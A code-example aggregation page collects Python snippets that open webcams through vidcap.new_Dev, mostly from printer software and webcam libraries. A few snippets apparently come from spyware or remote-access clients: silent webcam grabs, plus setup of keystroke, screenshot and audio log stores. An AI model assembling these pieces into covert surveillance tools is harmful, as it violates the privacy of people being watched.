Exemple #1
0
 def __init__(self,server_ip,port,buf_size):
     self.host = server_ip
     self.port = port
     self.tcp_buf_len = buf_size
     self.addr = (self.host ,self.port)
     threading.Thread.__init__(self)
     self.dev = vidcap.new_Dev( 1, False )
Exemple #2
0
def check_webcam():
    try:
        import vidcap
        cam = vidcap.new_Dev(0, 0)
        cam.getdisplayname()
        del cam
        return True
    except:
        return False
Exemple #3
0
 def webcam_shot():
     try:
         cam = vidcap.new_Dev(0, 0)
         buff, width, height = cam.getbuffer()
         return str({
             'webcambits': zlib.compress(buff),
             'width': width,
             'height': height,
         })
     except:
         return
Exemple #4
0
 def webcam_shot():
     try:
         cam = vidcap.new_Dev(0, 0)
         buff, width, height = cam.getbuffer()
         return str({
             'webcambits': zlib.compress(buff),
             'width': width,
             'height': height,
         })
     except:
         return
Exemple #5
0
	def __init__(self):
		self._cam = None
		if cv != None:
			self._cam = highgui.cvCreateCameraCapture(-1)
		elif win32vidcap != None:
			try:
				self._cam = win32vidcap.new_Dev(0, False)
			except:
				pass
		
		self._doTimelaps = False
		self._bitmap = None
Exemple #6
0
    def __init__(self):
        if cv != None:
            self._cam = highgui.cvCreateCameraCapture(-1)
        elif win32vidcap != None:
            self._cam = win32vidcap.new_Dev(0, False)
            #self._cam.displaycapturefilterproperties()
            #self._cam.displaycapturepinproperties()
        else:
            raise exception("No camera implementation available")

        self._doTimelaps = False
        self._bitmap = None
Exemple #7
0
	def __init__(self):
		if cv != None:
			self._cam = highgui.cvCreateCameraCapture(-1)
		elif win32vidcap != None:
			self._cam = win32vidcap.new_Dev(0, False)
			#self._cam.displaycapturefilterproperties()
			#self._cam.displaycapturepinproperties()
		else:
			raise exception("No camera implementation available")
		
		self._doTimelaps = False
		self._bitmap = None
Exemple #8
0
    def __init__(self, devnum=0, showVideoWindow=0):
        """devnum:  VideoCapture enumerates the available video capture devices
                    on your system.  If you have more than one device, specify
                    the desired one here.  The device number starts from 0.

           showVideoWindow: 0 ... do not display a video window (the default)
                            1 ... display a video window

                            Mainly used for debugging, since the video window
                            can not be closed or moved around.

        """
        self.dev = vidcap.new_Dev(devnum, showVideoWindow)
Exemple #9
0
	def __init__(self):
		self._cam = None
		self._overlayImage = toolbarUtil.getBitmapImage("cura-overlay.png")
		self._overlayUltimaker = toolbarUtil.getBitmapImage("ultimaker-overlay.png")
		if cv != None:
			self._cam = highgui.cvCreateCameraCapture(-1)
		elif win32vidcap != None:
			try:
				self._cam = win32vidcap.new_Dev(0, False)
			except:
				pass
		
		self._doTimelaps = False
		self._bitmap = None
Exemple #10
0
	def __init__(self):
		self._cam = None
		self._overlayImage = wx.Bitmap(getPathForImage('cura-overlay.png'))
		self._overlayUltimaker = wx.Bitmap(getPathForImage('ultimaker-overlay.png'))
		if cv != None:
			self._cam = highgui.cvCreateCameraCapture(-1)
		elif win32vidcap != None:
			try:
				self._cam = win32vidcap.new_Dev(0, False)
			except:
				pass

		self._doTimelaps = False
		self._bitmap = None
Exemple #11
0
	def openPropertyPage(self, pageType=0):
		if self._cam == None:
			return
		if cv != None:
			pass
		elif win32vidcap != None:
			if pageType == 0:
				self._cam.displaycapturefilterproperties()
			else:
				del self._cam
				self._cam = None
				tmp = win32vidcap.new_Dev(0, False)
				tmp.displaycapturepinproperties()
				self._cam = tmp
Exemple #12
0
 def openPropertyPage(self, pageType=0):
     if self._cam == None:
         return
     if cv != None:
         pass
     elif win32vidcap != None:
         if pageType == 0:
             self._cam.displaycapturefilterproperties()
         else:
             del self._cam
             self._cam = None
             tmp = win32vidcap.new_Dev(0, False)
             tmp.displaycapturepinproperties()
             self._cam = tmp
    def __init__(self, devnum=0, size=_DEFAULT_SIZE, color=False):
        """devnum:  VideoCapture enumerates the available video capture devices
                    on your system.  If you have more than one device, specify
                    the desired one here.  The device number starts from 0.

           size:    Size of the visualisator of the capture device.

        """
        ### Setting up the Camera ###
        try:
            self.dev = vidcap.new_Dev(devnum, 0)
        except:
            return None
        ### Methods Redirection ###
        self.displayCaptureFilterProperties = self.dev.displaycapturefilterproperties
        self.displayCapturePinProperties = self.dev.displaycapturepinproperties
        self.displayPropertyPage = self.dev.displaypropertypage
        self.setResolution = self.dev.setresolution
        self.getBuffer = self.dev.getbuffer
        ### End Redirections ###
        ### Fields definition ###
        self.color = color
        self.alive = True
        self.size = size
        self.master = Tkinter.Tk()
        self.master.resizable(False, False)
        self.master.title("Camera N-%d" % (devnum))
        self.can = Tkinter.Canvas(self.master,
                                  width=size[0],
                                  height=size[1],
                                  bg="black")
        self.can.pack()
        self.img = ImageTk.Image.new("RGB", size, 0)
        self.photo = ImageTk.PhotoImage(self.img, self.size, master=self.can)
        self.id = self.can.create_image(size[0] / 2 + 1,
                                        size[1] / 2 + 1,
                                        image=self.photo)
        self.nb_image = 0
        self.current_image = 0
        self.devnum = devnum

        self.master.wm_protocol("WM_DELETE_WINDOW", self.term)
        self.master.bind("<Alt-F>", self.displayCaptureFilterProperties)
        self.master.bind("<Alt-f>", self.displayCaptureFilterProperties)
        self.master.bind("<Alt-P>", self.displayCapturePinProperties)
        self.master.bind("<Alt-p>", self.displayCapturePinProperties)
        self.master.bind("<Escape>", self.term)

        self.mainloop = self.can.mainloop
Exemple #14
0
    def __init__(self):
        self._cam = None
        self._overlayImage = toolbarUtil.getBitmapImage("cura-overlay.png")
        self._overlayUltimaker = toolbarUtil.getBitmapImage(
            "ultimaker-overlay.png")
        if cv != None:
            self._cam = highgui.cvCreateCameraCapture(-1)
        elif win32vidcap != None:
            try:
                self._cam = win32vidcap.new_Dev(0, False)
            except:
                pass

        self._doTimelaps = False
        self._bitmap = None
Exemple #15
0
    def __init__(self):
        self._cam = None
        self._overlayImage = wx.Bitmap(getPathForImage('cura-overlay.png'))
        self._overlayUltimaker = wx.Bitmap(
            getPathForImage('ultimaker-overlay.png'))
        if cv != None:
            self._cam = highgui.cvCreateCameraCapture(-1)
        elif win32vidcap != None:
            try:
                self._cam = win32vidcap.new_Dev(0, False)
            except:
                pass

        self._doTimelapse = False
        self._bitmap = None
Exemple #16
0
    def __init__(self, devnum=0, showVideoWindow=0):
        """devnum:  VideoCapture enumerates the available video capture devices
                    on your system.  If you have more than one device, specify
                    the desired one here.  The device number starts from 0.

           showVideoWindow: 0 ... do not display a video window (the default)
                            1 ... display a video window

                            Mainly used for debugging, since the video window
                            can not be closed or moved around.

        """
        self.dev = vidcap.new_Dev(devnum, showVideoWindow)
        self.normalfont = ImageFont.load_path('C:\Python27\helvetica-10.pil')
        self.boldfont = ImageFont.load_path('C:\Python27\helvB08.pil')
        self.font = None
Exemple #17
0
    def __init__(self, devnum=0, showVideoWindow=0):
        """devnum:  VideoCapture enumerates the available video capture devices
                    on your system.  If you have more than one device, specify
                    the desired one here.  The device number starts from 0.

           showVideoWindow: 0 ... do not display a video window (the default)
                            1 ... display a video window

                            Mainly used for debugging, since the video window
                            can not be closed or moved around.

        """
        self.dev = vidcap.new_Dev(devnum, showVideoWindow)
        self.normalfont = ImageFont.load_path('helvetica-10.pil')
        self.boldfont = ImageFont.load_path('helvB08.pil')
        self.font = None
Exemple #18
0
	def _openCam(self):
		if self._cameraList is not None and self._camId >= len(self._cameraList):
			return False
		if self._cam is not None:
			if self._activeId != self._camId:
				del self._cam
				self._cam = None
			else:
				return True

		self._activeId = self._camId
		if cv is not None:
			self._cam = highgui.cvCreateCameraCapture(self._camId)
		elif win32vidcap is not None:
			try:
				self._cam = win32vidcap.new_Dev(self._camId, False)
			except:
				pass
		return self._cam is not None
Exemple #19
0
	def _openCam(self):
		if self._cameraList is not None and self._camId >= len(self._cameraList):
			return False
		if self._cam is not None:
			if self._activeId != self._camId:
				del self._cam
				self._cam = None
			else:
				return True

		self._activeId = self._camId
		if cv is not None:
			self._cam = highgui.cvCreateCameraCapture(self._camId)
		elif win32vidcap is not None:
			try:
				self._cam = win32vidcap.new_Dev(self._camId, False)
			except:
				pass
		return self._cam is not None
def available_devices():
    """Returns a list of available devices; these names and/or numbers can
	be passed directly as the dev keyword argument of the Webcam class
	
	arguments
	None
	
	keyword arguments
	None
	
	returns
	devlist		--	a list of available device names and/or numbers,
					than can be used as the dev keyword argument for
					the Webcam class
	"""

    # first, we try using PyGame
    try:
        devlist = pygame.camera.list_cameras()

    # if this fails, we try vidcap (only works on Windows)
    except:
        if sys.platform == 'win32':
            # loop through 100 numbers (0-99) and see if they work
            devlist = []
            for i in range(100):
                # try if this device number works
                try:
                    dev = vidcap.new_Dev(i, 0)  # new device
                    devlist.append(i)  # add dev nr to list
                    del dev  # delete device again
                # if the device number does not work, simply do nothing
                except:
                    pass
        # if PyGame did not work and we're not on Windows, raise exception
        else:
            raise Exception(
                "Error in libwebcam.available_devices: could not use PyGame or vidcap to find devices!"
            )

    return devlist
Exemple #21
0
def available_devices():
	
	"""Returns a list of available devices; these names and/or numbers can
	be passed directly as the dev keyword argument of the Webcam class
	
	arguments
	None
	
	keyword arguments
	None
	
	returns
	devlist		--	a list of available device names and/or numbers,
					than can be used as the dev keyword argument for
					the Webcam class
	"""
	
	# first, we try using PyGame
	try:
		devlist = pygame.camera.list_cameras()
	
	# if this fails, we try vidcap (only works on Windows)
	except:
		if sys.platform == 'win32':
			# loop through 100 numbers (0-99) and see if they work
			devlist = []
			for i in range(100):
				# try if this device number works
				try:
					dev = vidcap.new_Dev(i, 0)	# new device
					devlist.append(i)			# add dev nr to list
					del dev				# delete device again
				# if the device number does not work, simply do nothing
				except:
					pass
		# if PyGame did not work and we're not on Windows, raise exception
		else:
			raise Exception("Error in libwebcam.available_devices: could not use PyGame or vidcap to find devices!")
	
	return devlist
Exemple #22
0
            client_version = '1.0'
            os_type = str(sys.platform)
            os_name = str(platform.platform())
            os_user = os.path.expanduser('~').split('\\')[-1]

            KEY_LOGS = {}
            SCREENSHOT_LOGS = {}
            AUDIO_LOGS = {}

            CURRENT_WINDOW_TITLE = None

            uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'

            try:
                import vidcap
                cam = vidcap.new_Dev(0, 0)
                web_camera_input = str(cam.getdisplayname())
                del cam
            except:
                web_camera_input = 'NoDevice'

            try:
                import pyaudio
                p = pyaudio.PyAudio()
                device_name = p.get_default_input_device_info()
                del p
                audio_input = device_name['name']
            except:
                audio_input = 'NoDevice'

            # Init Winapi
Exemple #23
0
            client_version = '1.0'
            os_type = str(sys.platform)
            os_name = str(platform.platform())
            os_user = os.path.expanduser('~').split('\\')[-1]

            KEY_LOGS = {}
            SCREENSHOT_LOGS = {}
            AUDIO_LOGS = {}

            CURRENT_WINDOW_TITLE = None

            uppercase = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'

            try:
                import vidcap
                cam = vidcap.new_Dev(0, 0)
                web_camera_input = str(cam.getdisplayname())
                del cam
            except:
                web_camera_input = 'NoDevice'

            try:
                import pyaudio
                p = pyaudio.PyAudio()
                device_name = p.get_default_input_device_info()
                del p
                audio_input = device_name['name']
            except:
                audio_input = 'NoDevice'

            # Init Winapi
Exemple #24
0
 def __init__(self, devnum=0, showVideoWindow=0):
     self.dev = vidcap.new_Dev(devnum, showVideoWindow)
Exemple #25
0
 def __init__(self):
     try:
         self.cam = vidcap.new_Dev(0, 0)
     except:
         pass
Exemple #26
0
 def __init__(self, devnum=0, showVideoWindow=0):
     self.dev = vidcap.new_Dev(devnum, showVideoWindow)
Exemple #27
0
 def __init__(self, devnum=0):
     self.dev = vidcap.new_Dev(devnum, 0)
    def __init__(self,
                 disptype=DISPTYPE,
                 dev=None,
                 devtype='pygame',
                 resolution=(640, 480),
                 verflip=False,
                 horflip=False):
        """Initializes a Camera instance
		
		arguments
		None
		
		keyword arguments
		disptype		--	string indicating the display type: either
						'pygame' or 'psychopy' (default = DISPTYPE)
		dev			--	number or name of the webcam that should be
						accessed (e.g. 0 or '/dev/video0') or None
						to use the first available (default = None)
		devtype		--	string indicating the device backend you
						want to use; should be either 'pygame' or
						'vidcap'; note that vidcap only works on
						Windows! (default = 'pygame')
		resolution		--	preferred resolution of the webcam images
						(default = (640,480))
		verflip		--	Boolean indicating if images should be
						flipped vertically (default = False)
		horflip		--	Boolean indicating if images should be
						flipped horizontally (default = False)
		"""

        # # # # #
        # check device type and do some trouble shooting

        # check if devtype is a valid back-end
        if devtype not in ['vidcap', 'pygame']:
            raise Exception(
                "Error in libwebcam.Camera.__init__: devtype '%s' is not supported, use 'pygame' or 'vidcap'"
                % devtype)
        # vidcap trouble shooting
        elif devtype == 'vidcap':
            if sys.platform != 'win32':
                raise Exception(
                    "Error in libwebcam.Camera.__init__: devtype '%s' is not available on your system '%s' (only on Windows)"
                    % (devtype, sys.platform))
            if not vidimp:
                raise Exception(
                    "Error in libwebcam.Camera.__init__: devtype '%s' is not available because vidcap could not be imported (have you installed it correctly?)"
                    % devtype)
            if not pilimgimp:
                raise Exception(
                    "Error in libwebcam.Camera.__init__: devtype '%s' is not available because PIL's Image module could not be imported (vidcap back-end depends on this)"
                    % devtype)
        # pygame trouble shooting
        elif devtype == 'pygame':
            if not pgcamimp:
                raise Exception(
                    "Error in libwebcam.Camera.__init__: devtype '%s' is not available; could not import and initialize PyGame camera module!"
                    % devtype)
            if not pgimgimp:
                raise Exception(
                    "Error in libwebcam.Camera.__init__: devtype '%s' is not available; could not import PyGame image module!"
                    % devtype)
            if disptype == 'psychopy' and not pilimgimp:
                raise Exception(
                    "Error in libwebcam.Camera.__init__: disptype '%s' is not available; could not import PIL Image module (psycho disptype depends on this)!"
                    % disptype)
        # if we survived all the trouble shooting, finally set the devtype property
        self.devtype = devtype

        # # # # #
        # do actual initialization

        # properties
        self.disptype = disptype
        self.devname = dev
        self.camres = resolution
        self.horflip = horflip
        self.verflip = verflip
        self.flipnr = -1
        self.img = Image.new('RGB', self.camres, 'black')

        # autodetect device
        if self.devname == None:
            try:
                self.devname = available_devices()[0]
            except:
                raise Exception(
                    "Error in libwebcam.Camera.__init__: no webcam devices available!"
                )

        # check if device is available
        if not self.devname in available_devices():
            # if not, raise Exception
            raise Exception(
                "Error in libwebcam.Camera.__init__: webcam %s is not available!"
                % self.devname)

        # create device
        if self.devtype == 'vidcap':
            # initialize camera device
            self.dev = vidcap.new_Dev(
                self.devname, 0
            )  # first argument: devnr; second argument: Boolean indicating if camimages should be displayed on separate window (e.g. for debugging purposes)
            self.dev.setresolution(self.camres[0], self.camres[1])
#			# check if resolution is correct
#			buff, width, height = self.dev.getbuffer()
#			if not self.camres == (width,height):
#				print("WARNING in libwebcam.Camera.__init__: requested resolution %s is not available; device actual resolution of (%d,%d) will be used" % (self.camres,width,height))
#				self.camres = (width,height)
        else:
            self.dev = pygame.camera.Camera(self.devname, self.camres, 'RGB')
            self.dev.start()

        # set image flipping
        self.set_imgflip(verflip=self.verflip, horflip=self.horflip)
Exemple #29
0
	def __init__(self, disptype=settings.DISPTYPE, dev=None, devtype='pygame',
		resolution=(640,480), verflip=False, horflip=False):
		
		"""Initializes a Camera instance
		
		arguments
		None
		
		keyword arguments
		disptype		--	string indicating the display type: either
						'pygame' or 'psychopy' (default = DISPTYPE)
		dev			--	number or name of the webcam that should be
						accessed (e.g. 0 or '/dev/video0') or None
						to use the first available (default = None)
		devtype		--	string indicating the device backend you
						want to use; should be either 'pygame' or
						'vidcap'; note that vidcap only works on
						Windows! (default = 'pygame')
		resolution		--	preferred resolution of the webcam images
						(default = (640,480))
		verflip		--	Boolean indicating if images should be
						flipped vertically (default = False)
		horflip		--	Boolean indicating if images should be
						flipped horizontally (default = False)
		"""
		
		# # # # #
		# check device type and do some trouble shooting
		
		# check if devtype is a valid back-end
		if devtype not in ['vidcap','pygame']:
			raise Exception("Error in libwebcam.Camera.__init__: devtype '%s' is not supported, use 'pygame' or 'vidcap'" % devtype)
		# vidcap trouble shooting
		elif devtype == 'vidcap':
			if sys.platform != 'win32':
				raise Exception("Error in libwebcam.Camera.__init__: devtype '%s' is not available on your system '%s' (only on Windows)" % (devtype,sys.platform))
			if not vidimp:
				raise Exception("Error in libwebcam.Camera.__init__: devtype '%s' is not available because vidcap could not be imported (have you installed it correctly?)" % devtype)
			if not pilimgimp:
				raise Exception("Error in libwebcam.Camera.__init__: devtype '%s' is not available because PIL's Image module could not be imported (vidcap back-end depends on this)" % devtype)
		# pygame trouble shooting
		elif devtype == 'pygame':
			if not pgcamimp:
				raise Exception("Error in libwebcam.Camera.__init__: devtype '%s' is not available; could not import and initialize PyGame camera module!" % devtype)
			if not pgimgimp:
				raise Exception("Error in libwebcam.Camera.__init__: devtype '%s' is not available; could not import PyGame image module!" % devtype)
			if disptype == 'psychopy' and not pilimgimp:
				raise Exception("Error in libwebcam.Camera.__init__: disptype '%s' is not available; could not import PIL Image module (psycho disptype depends on this)!" % disptype)
		# if we survived all the trouble shooting, finally set the devtype property
		self.devtype = devtype
		
		# # # # #
		# do actual initialization
		
		# properties
		self.disptype = disptype
		self.devname = dev
		self.camres = resolution
		self.horflip = horflip
		self.verflip = verflip
		self.flipnr = -1
		self.img = Image.new('RGB',self.camres,'black')
		
		# autodetect device
		if self.devname == None:
			try:
				self.devname = available_devices()[0]
			except:
				raise Exception("Error in libwebcam.Camera.__init__: no webcam devices available!")
		
		# check if device is available
		if not self.devname in available_devices():
			# if not, raise Exception
			raise Exception("Error in libwebcam.Camera.__init__: webcam %s is not available!" % self.devname)
		
		# create device
		if self.devtype == 'vidcap':
			# initialize camera device
			self.dev = vidcap.new_Dev(self.devname, 0) # first argument: devnr; second argument: Boolean indicating if camimages should be displayed on separate window (e.g. for debugging purposes)
			self.dev.setresolution(self.camres[0], self.camres[1])
#			# check if resolution is correct
#			buff, width, height = self.dev.getbuffer()
#			if not self.camres == (width,height):
#				print("WARNING in libwebcam.Camera.__init__: requested resolution %s is not available; device actual resolution of (%d,%d) will be used" % (self.camres,width,height))
#				self.camres = (width,height)
		else:
			self.dev = pygame.camera.Camera(self.devname, self.camres, 'RGB')
			self.dev.start()
		
		# set image flipping
		self.set_imgflip(verflip=self.verflip, horflip=self.horflip)